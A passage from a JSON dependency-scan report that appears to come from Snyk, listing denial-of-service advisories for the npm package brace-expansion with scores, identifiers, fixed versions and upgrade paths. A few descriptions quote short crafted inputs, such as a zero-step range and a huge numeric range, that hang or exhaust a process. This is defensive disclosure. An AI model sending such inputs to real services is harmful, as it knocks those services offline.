exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass 